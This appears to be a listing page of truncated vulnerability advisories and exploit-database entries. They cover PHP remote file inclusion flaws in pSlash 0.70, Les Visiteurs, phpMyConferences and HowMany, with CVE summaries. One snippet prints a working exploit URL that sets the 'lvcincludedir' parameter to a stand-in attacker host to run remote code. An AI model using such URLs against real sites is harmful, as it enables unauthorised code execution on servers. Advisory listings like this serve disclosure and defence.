HowMany 2.6 - Remote File Inclusion

======================================================================================== | Title : HowMany V2.6 RFI Vulnerability | | Author : indoushka | | email : [email protected] | | Home : Souk Naamane - 04325 - Oum El Bouaghi - Algeria -00213771818860 | | Web Site : www.iq-ty.com | |...

CVE-2007-5014: Improper Control of Generation of Code

Multiple PHP remote file inclusion vulnerabilities in pSlash 0.70 allow remote attackers to execute arbitrary PHP code via a URL in 1 the lvcadmindir parameter to modules/visitors2/admin/view-archiver.inc.php or 2 the lvcincludedir parameter to modules/visitors2/include/menus.inc.php. NOTE: the...

CVE-2006-5310: Improper Control of Generation of Code

PHP remote file inclusion vulnerability in common/visiteurs/include/menus.inc.php in J-Pierre DEZELUS Les Visiteurs 2.0.1, as used in phpMyConferences phpMyConference 8.0.2 and possibly other products, allows remote attackers to execute arbitrary PHP code via a URL in the lvcincludedir parameter...

phpMyConferences menus.inc.php lvc_include_dir Parameter Remote File Inclusion

The remote host is using phpMyConferences, a conference management system written in PHP. The version of phpMyConferences installed on the remote host fails to sanitize input to the 'lvcincludedir' parameter before using it to include PHP code in the 'common/visiteurs/include/menus.inc.php' scrip...

phpMyConferences <= 8.0.2 (menu.inc.php) File Include Vulnerability

Exploit for unknown platform in category web applications =================================================================== phpMyConferences = 8.0.2 menu.inc.php File Include Vulnerability =================================================================== phpMyConferences = 8.0.2 Remote File...

lesvisit &#40;visiteurs&#41; &lt;= v2.0 &#40;lvc_include_dir&#41; Remote File Include Vulnerability

============================================================================================== lesvisit visiteurs = v2.0 lvcincludedir Remote File Include Vulnerability =============================================================================================== Critical Level : Dangerous...

pslash07.txt

pSlash v0.7 lvcincludedir Remote Include Vulnerability Author: XORON Class: Remote cont@ct: x0r0nathotmaildotcom Code: require$lvcincludedir.'db/dbmysql.inc.php'; Exploit: http://www.site.com/path/modules/visitors2/include/config.inc.php?lvcincludedir=http://evilscripts? Greetz: str0ke, Ironfist,...

CVE-2006-4373: Undefined Security Weakness

PHP remote file inclusion vulnerability in modules/visitors2/include/config.inc.php in pSlash 0.70 allows remote attackers to execute arbitrary PHP code via a URL in the lvcincludedir parameter...

pSlash 0.7 (lvc_include_dir) Remote File Include Vulnerability

Exploit for unknown platform in category web applications ============================================================== pSlash 0.7 lvcincludedir Remote File Include Vulnerability ============================================================== pSlash v0.7 lvcincludedir Remote Include Vulnerability...

CVE-2003-1148: Undefined Security Weakness

Multiple PHP remote file inclusion vulnerabilities in J-Pierre DEZELUS Les Visiteurs 2.0.1, as used in phpMyConferences phpMyConference 8.0.2 and possibly other products, allow remote attackers to execute arbitrary PHP code via a URL in the lvcincludedir parameter to 1 config.inc.php or 2...